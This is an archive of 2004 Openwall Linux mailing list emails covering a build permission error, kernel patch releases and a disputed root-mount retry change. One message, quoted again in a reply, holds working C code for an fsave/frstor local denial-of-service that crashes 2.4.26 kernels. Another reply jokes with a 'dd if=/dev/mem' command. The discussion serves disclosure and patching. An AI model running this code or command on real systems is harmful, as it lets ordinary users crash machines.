RPM spec file and startup script for Red Hat Linux and compatible
distributions are now included.  (You should be able to build scanlogd
RPMs with "rpm -tb scanlogd-2.2.4.tar.gz", provided that you have RPM
configured for package builds under your current user account.)

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-432-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5FBZRW07274
	for <jwa@private>; Tue, 15 Jun 2004 04:35:27 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 36F7CE0
	for <jwa@private>; Tue, 15 Jun 2004 04:35:22 -0700 (PDT)
Received: (qmail 26119 invoked by uid 550); 15 Jun 2004 09:49:11 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 26108 invoked from network); 15 Jun 2004 09:49:10 -0000
Date: Tue, 15 Jun 2004 13:49:11 +0400
From: "Melekhov Alexandre A." <amel@private>
To: owl-users@private
Subject: SRPM build error
Message-Id: <20040615134911.6fcbeb4a.amel@private>
X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; i586-alt-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-432-jwa=jammed.com@private
X-Spam-Status: No, hits=-2.1 required=5.0
	tests=BAYES_30,KNOWN_MAILING_LIST,RCVD_IN_ORBS
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hello!

While trying to build any src.rpm i've got an error:

i.e.

skydive!build:~$ make PACKAGE=postfix
test -d native/Owl/build || make checkout
ln -sf native/Owl/build/.rpm* .
ln -s native/Owl/build/*.conf . 2> /dev/null || :
BRANCH=Owl native/Owl/build/buildworld.sh
13:33:19: Removing stale temporary files
13:33:19: Sanity check
13:33:19: Unreadable kernel includes
make: *** [default] Error 1
skydive!build:~$ 

Something strange because of all dirs in /usr/src/linux/include (incl. this one) are have 755 permissions and files (except scripts) - 644.

What am i doing wrong?

--
===========================
Best regards, SKYDIVER-RIPN
amel@private
Return-Path: <owl-users-return-433-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5FC03W08226
	for <jwa@private>; Tue, 15 Jun 2004 05:00:03 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id DBD7DE0
	for <jwa@private>; Tue, 15 Jun 2004 04:59:59 -0700 (PDT)
Received: (qmail 27206 invoked by uid 550); 15 Jun 2004 10:00:53 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 27198 invoked from network); 15 Jun 2004 10:00:52 -0000
Date: Tue, 15 Jun 2004 13:55:51 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: SRPM build error
Message-ID: <20040615095551.GA16583@private>
References: <20040615134911.6fcbeb4a.amel@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20040615134911.6fcbeb4a.amel@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-433-jwa=jammed.com@private
X-Spam-Status: No, hits=-31.1 required=5.0
	tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      RCVD_IN_ORBS,REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Tue, Jun 15, 2004 at 01:49:11PM +0400, Melekhov Alexandre A. wrote:
> 13:33:19: Unreadable kernel includes
> make: *** [default] Error 1
> skydive!build:~$ 
> 
> Something strange because of all dirs in /usr/src/linux/include (incl. this one) are have 755 permissions and files (except scripts) - 644.

You must be wrong about this.  Please just do:

su - sources
chmod -R a+rX linux/include/
chmod 755 linux/

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-434-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5FEOxW15046
	for <jwa@private>; Tue, 15 Jun 2004 07:24:59 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 815A470
	for <jwa@private>; Tue, 15 Jun 2004 07:24:53 -0700 (PDT)
Received: (qmail 13796 invoked by uid 550); 15 Jun 2004 12:20:16 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 13788 invoked from network); 15 Jun 2004 12:20:15 -0000
Date: Tue, 15 Jun 2004 16:20:15 +0400
From: "Melekhov Alexandre A." <amel@private>
To: owl-users@private
Subject: Re: SRPM build error
Message-Id: <20040615162015.68ed7985.amel@private>
In-Reply-To: <20040615095551.GA16583@private>
References: <20040615134911.6fcbeb4a.amel@private>
	<20040615095551.GA16583@private>
X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; i586-alt-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-434-jwa=jammed.com@private
X-Spam-Status: No, hits=-16.8 required=5.0
	tests=BAYES_01,IN_REP_TO,KNOWN_MAILING_LIST,RCVD_IN_ORBS,
	      REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hello!

On Tue, 15 Jun 2004 13:55:51 +0400 Solar Designer <solar@private>
wrote about "Re: SRPM build error":

> You must be wrong about this.  Please just do:

Yes, this helps. Probably i've re-unpack kernel sources and forgot to check permissions correctly.

Thanks a lot.

--
===========================
Best regards, SKYDIVER-RIPN
amel@private
Return-Path: <owl-users-return-435-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5FL0qW03015
	for <jwa@private>; Tue, 15 Jun 2004 14:00:52 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id B79C3E0
	for <jwa@private>; Tue, 15 Jun 2004 14:00:48 -0700 (PDT)
Received: (qmail 21660 invoked by uid 550); 15 Jun 2004 18:48:54 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 21652 invoked from network); 15 Jun 2004 18:48:53 -0000
Subject: crash
From: Krzychu <krzysiek@private>
To: owl-users@private
Content-Type: text/plain
Message-Id: <1087325185.2587.25.camel@private>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-9.3.aur.1) 
Date: Tue, 15 Jun 2004 20:46:26 +0200
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-435-jwa=jammed.com@private
X-Spam-Status: No, hits=-7.7 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,RCVD_IN_ORBS,
	      SIGNATURE_SHORT_SPARSE
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi, 
it seems that this code:

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
  
  static void Handler(int ignore)
  {
   char fpubuf[108];
   __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
   write(2, "*", 1);
   __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  }
  
  int main(int argc, char *argv[])
  {
   struct itimerval spec;
   signal(SIGALRM, Handler);
   spec.it_interval.tv_sec=0;
   spec.it_interval.tv_usec=100;
   spec.it_value.tv_sec=0;
   spec.it_value.tv_usec=100;
   setitimer(ITIMER_REAL, &spec, NULL);
   while(1)
    write(1, ".", 1);
  
   return 0;
  }

executed by normal user can really crash our owl boxes. I've tested 
in on 2.4.26-owl1 and the code "eat" 99% CPU's time. More info at:
http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html

Fix of the problem is aviable at:
http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt

Regards



-- 
Krzysztof Sniadoch
krzysiek@private 
http://www.securenet.pl 

"...qui desiderat pacem, praeparet bellum"
(...if you would have peace, be prepared for war) - Flavius Vegetius
Return-Path: <owl-users-return-436-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5FLJRW03435
	for <jwa@private>; Tue, 15 Jun 2004 14:19:27 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 917F9E1
	for <jwa@private>; Tue, 15 Jun 2004 14:19:24 -0700 (PDT)
Received: (qmail 24151 invoked by uid 550); 15 Jun 2004 19:05:56 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 24139 invoked from network); 15 Jun 2004 19:05:54 -0000
Date: Tue, 15 Jun 2004 23:00:58 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040615190058.GA1754@private>
References: <1087325185.2587.25.camel@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <1087325185.2587.25.camel@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-436-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.1 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      RCVD_IN_ORBS,REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

On Tue, Jun 15, 2004 at 08:46:26PM +0200, Krzychu wrote:
> it seems that this code:
[...]
> executed by normal user can really crash our owl boxes.

Yes.

> Fix of the problem is aviable at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt

Correct.

And this is one of the fixes already included in 2.4.26-ow2pre2 (it's
not public).  Do you feel it's worth releasing an -ow2 right away,
knowing that there will be more important fixes by early July and an
-ow3 will be needed?  I've been holding this incomplete set of fixes
for now...

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-437-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5FNtMW11094
	for <jwa@private>; Tue, 15 Jun 2004 16:55:22 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 4DAE370
	for <jwa@private>; Tue, 15 Jun 2004 16:55:20 -0700 (PDT)
Received: (qmail 27321 invoked by uid 550); 15 Jun 2004 22:21:10 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 27313 invoked from network); 15 Jun 2004 22:21:10 -0000
Subject: Re: crash
From: Krzychu <krzysiek@private>
To: owl-users@private
In-Reply-To: <20040615190058.GA1754@private>
References: <1087325185.2587.25.camel@private>
	 <20040615190058.GA1754@private>
Content-Type: text/plain; charset=iso-8859-2
Message-Id: <1087337724.3291.43.camel@private>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-9.3.aur.1) 
Date: Wed, 16 Jun 2004 00:17:55 +0200
Content-Transfer-Encoding: 8bit
Sender: owl-users-return-437-jwa=jammed.com@private
X-Spam-Status: No, hits=-26.5 required=5.0
	tests=BAYES_01,IN_REP_TO,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,
	      RCVD_IN_ORBS,REFERENCES,REPLY_WITH_QUOTES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

W li¶cie z wto, 15-06-2004, godz. 21:00, Solar Designer pisze: 

> And this is one of the fixes already included in 2.4.26-ow2pre2 (it's
> not public).  Do you feel it's worth releasing an -ow2 right away,
> knowing that there will be more important fixes by early July and an
> -ow3 will be needed?  I've been holding this incomplete set of fixes
> for now...


Hmm...Solar, isn't it a good idea to put your current work on ftp?
If 2.4.26-ow2pre2 contains current fixes, it could be useful for
owl-users. In my opinion, 2.4.26-owl_current should be available to
download, but you're the boss here ;-) the same with the date of offical
release owl2 - it's your choice.



-- 
Krzysztof Sniadoch
krzysiek@private 
http://www.securenet.pl 
Return-Path: <owl-users-return-438-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5G6FtW28811
	for <jwa@private>; Tue, 15 Jun 2004 23:15:55 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 5A779E0
	for <jwa@private>; Tue, 15 Jun 2004 23:15:51 -0700 (PDT)
Received: (qmail 8514 invoked by uid 550); 16 Jun 2004 05:36:10 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 8506 invoked from network); 16 Jun 2004 05:36:10 -0000
X-Authentication-Warning: stats.zond.ru: lunar owned process doing -bs
Date: Wed, 16 Jun 2004 09:39:36 +0400 (MSD)
From: Lunar <lunar@private>
To: owl-users@private
Subject: Re: crash
In-Reply-To: <1087325185.2587.25.camel@private>
Message-ID: <20040616093919.E9353@private>
References: <1087325185.2587.25.camel@private>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-438-jwa=jammed.com@private
X-Spam-Status: No, hits=-33.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,REFERENCES,
	      REPLY_WITH_QUOTES,X_AUTH_WARNING
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)


Hello !

It is simple :

dd if=/dev/mem of=/dev/null ;-)

Lunar


On Tue, 15 Jun 2004, Krzychu wrote:

> Hi,
> it seems that this code:
>
> #include <sys/time.h>
> #include <signal.h>
> #include <unistd.h>
>
>   static void Handler(int ignore)
>   {
>    char fpubuf[108];
>    __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
>    write(2, "*", 1);
>    __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
>   }
>
>   int main(int argc, char *argv[])
>   {
>    struct itimerval spec;
>    signal(SIGALRM, Handler);
>    spec.it_interval.tv_sec=0;
>    spec.it_interval.tv_usec=100;
>    spec.it_value.tv_sec=0;
>    spec.it_value.tv_usec=100;
>    setitimer(ITIMER_REAL, &spec, NULL);
>    while(1)
>     write(1, ".", 1);
>
>    return 0;
>   }
>
> executed by normal user can really crash our owl boxes. I've tested
> in on 2.4.26-owl1 and the code "eat" 99% CPU's time. More info at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
>
> Fix of the problem is aviable at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
>
> Regards
>
>
>
> --
> Krzysztof Sniadoch
> krzysiek@private
> http://www.securenet.pl
>
> "...qui desiderat pacem, praeparet bellum"
> (...if you would have peace, be prepared for war) - Flavius Vegetius
>
>
Return-Path: <owl-users-return-439-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5GAD8W06259
	for <jwa@private>; Wed, 16 Jun 2004 03:13:08 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 52F4270
	for <jwa@private>; Wed, 16 Jun 2004 03:12:55 -0700 (PDT)
Received: (qmail 10718 invoked by uid 550); 16 Jun 2004 09:48:24 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 10710 invoked from network); 16 Jun 2004 09:48:22 -0000
Date: Wed, 16 Jun 2004 13:42:38 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040616094238.GA2869@private>
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Kj7319i9nmIyA2yE"
Content-Disposition: inline
In-Reply-To: <1087337724.3291.43.camel@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-439-jwa=jammed.com@private
X-Spam-Status: No, hits=-45.6 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      PGP_SIGNATURE_2,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)


--Kj7319i9nmIyA2yE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, Jun 16, 2004 at 12:17:55AM +0200, Krzychu wrote:
> W li?cie z wto, 15-06-2004, godz. 21:00, Solar Designer pisze:=20
>=20
> > And this is one of the fixes already included in 2.4.26-ow2pre2 (it's
> > not public).  Do you feel it's worth releasing an -ow2 right away,
> > knowing that there will be more important fixes by early July and an
> > -ow3 will be needed?  I've been holding this incomplete set of fixes
> > for now...
>=20
> Hmm...Solar, isn't it a good idea to put your current work on ftp?

Sometimes, yes.  Sometimes, no.

> If 2.4.26-ow2pre2 contains current fixes, it could be useful for
> owl-users.

Yes.  And this time I can actually make it public since all of the
fixes are to publicly known or non-security issues.  But this is not
always the case.

OK, given the exposure this fsave/frstor DoS has received, I am going
to release -ow2 prematurely, to be replaced with -ow3 by early July.

I am also going to let the subscribers of this mailing list test the
updated patch before I make it official:

ftp://ftp.openwall.com/pvt/linux-2.4.26-ow2pre2.diff

MD5(linux-2.4.26-ow2pre2.diff)=3D 25e64540a95a98f9bb3f63547fe297aa

--=20
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments

--Kj7319i9nmIyA2yE
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQFA0BYMc8OikLNdNZgRAg7rAKC6mDwZHXk50405+9n5NIP6DphDgACghB6V
eXK66QcwS0q6sceJXrIK1Eg=
=0KjO
-----END PGP SIGNATURE-----

--Kj7319i9nmIyA2yE--
Return-Path: <owl-users-return-440-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5GEGkW15635
	for <jwa@private>; Wed, 16 Jun 2004 07:16:46 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 6DFFC70
	for <jwa@private>; Wed, 16 Jun 2004 07:16:43 -0700 (PDT)
Received: (qmail 30853 invoked by uid 550); 16 Jun 2004 11:58:47 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 30845 invoked from network); 16 Jun 2004 11:58:47 -0000
Message-ID: <40D03617.3050606@private>
Date: Wed, 16 Jun 2004 15:59:19 +0400
From: Michael Tokarev <mjt@private>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en, ru
MIME-Version: 1.0
To: owl-users@private
Subject: Re: crash
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private> <20040616094238.GA2869@private>
In-Reply-To: <20040616094238.GA2869@private>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-440-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.1 required=5.0
	tests=BAYES_01,IN_REP_TO,KNOWN_MAILING_LIST,PATCH_UNIFIED_DIFF,
	      QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MOZILLA_UA
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Solar Designer wrote:
[]
> I am also going to let the subscribers of this mailing list test the
> updated patch before I make it official:
> 
> ftp://ftp.openwall.com/pvt/linux-2.4.26-ow2pre2.diff

Speaking of the patch... The following change, which is
in ow patches for quite some time, is rather questionable.

diff -urPX nopatch linux-2.4.26/init/do_mounts.c linux/init/do_mounts.c
--- linux-2.4.26/init/do_mounts.c	Fri Nov 28 18:26:21 2003
+++ linux/init/do_mounts.c	Sat Apr 17 02:13:55 2004
@@ -367,11 +367,12 @@
  		 * Allow the user to distinguish between failed open
  		 * and bad superblock on root device.
  		 */
-		printk ("VFS: Cannot open root device \"%s\" or %s\n",
+		printk ("VFS: Cannot open root device \"%s\" or %s, "
+			"retrying in 1s.\n",
  			root_device_name, kdevname (ROOT_DEV));
-		printk ("Please append a correct \"root=\" boot option\n");
-		panic("VFS: Unable to mount root fs on %s",
-			kdevname(ROOT_DEV));
+		set_current_state(TASK_UNINTERRUPTIBLE);
+		schedule_timeout(HZ);
+		goto retry;
  	}
  	panic("VFS: Unable to mount root fs on %s", kdevname(ROOT_DEV));
  out:

when sys.kernel.panic is set to some reasonable value, I
expect the kernel to reboot in case of boot failure,
instead of going into the endless loop.  It is almost
irrelevant when you're able to access the machine
physically, but makes quite some difference when the
machine in question is remote.  When trying out the
new kernel, I usually install it in parallel with
currently running kernel, set lilo to load it only
once (with -R option), panicing if can't boot
(panic=30 to mean reboot in 30 sec in case of panic).

Several times already I came across a problem when
due to the above "fix" the system won't boot and
needs physical presense to bring it up again --
mostly when booting initrd and forgotting to compile
appropriate filesystem support into kernel (which is
lame but still happens sometimes), or when root fs
is on nfs, but it did happen with normal on-disk
filesystems as well.  After finding the problem
(which took me quite some time), I always delete
the above chunk of changes when applying Owl
kernel patches.

Why the above change is needed?

/mjt
Return-Path: <owl-users-return-441-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5GEwvW17314
	for <jwa@private>; Wed, 16 Jun 2004 07:58:57 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 9804C70
	for <jwa@private>; Wed, 16 Jun 2004 07:58:53 -0700 (PDT)
Received: (qmail 32423 invoked by uid 550); 16 Jun 2004 12:10:17 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 32415 invoked from network); 16 Jun 2004 12:10:15 -0000
Date: Wed, 16 Jun 2004 16:05:19 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040616120519.GA3513@private>
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private> <20040616094238.GA2869@private> <40D03617.3050606@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <40D03617.3050606@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-441-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.3 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Wed, Jun 16, 2004 at 03:59:19PM +0400, Michael Tokarev wrote:
> Speaking of the patch... The following change, which is
> in ow patches for quite some time, is rather questionable.
[...]
> -		printk ("VFS: Cannot open root device \"%s\" or %s\n",
> +		printk ("VFS: Cannot open root device \"%s\" or %s, "
> +			"retrying in 1s.\n",
>  			root_device_name, kdevname (ROOT_DEV));
> -		printk ("Please append a correct \"root=\" boot option\n");
> -		panic("VFS: Unable to mount root fs on %s",
> -			kdevname(ROOT_DEV));
> +		set_current_state(TASK_UNINTERRUPTIBLE);
> +		schedule_timeout(HZ);
> +		goto retry;

> Why the above change is needed?

It's needed for booting off USB CD-ROMs where the device might not be
detected by the time this code is reached.

Thank you for pointing out the problem with this and also for sharing
your approach to replacing kernels with owl-users.

I agree that this needs to be fixed, but by enhancing this code to
support a panic timeout rather than by reverting this change like you
do now.  It will happen sooner if you submit a patch to do that. ;-)

-- 
/sd
Return-Path: <owl-users-return-442-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5GFHOW18338
	for <jwa@private>; Wed, 16 Jun 2004 08:17:24 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id C97EB70
	for <jwa@private>; Wed, 16 Jun 2004 08:17:20 -0700 (PDT)
Received: (qmail 615 invoked by uid 550); 16 Jun 2004 12:14:19 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 600 invoked from network); 16 Jun 2004 12:14:18 -0000
Date: Wed, 16 Jun 2004 16:09:21 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040616120921.GB3513@private>
References: <1087325185.2587.25.camel@private> <20040616093919.E9353@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20040616093919.E9353@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-442-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.1 required=5.0
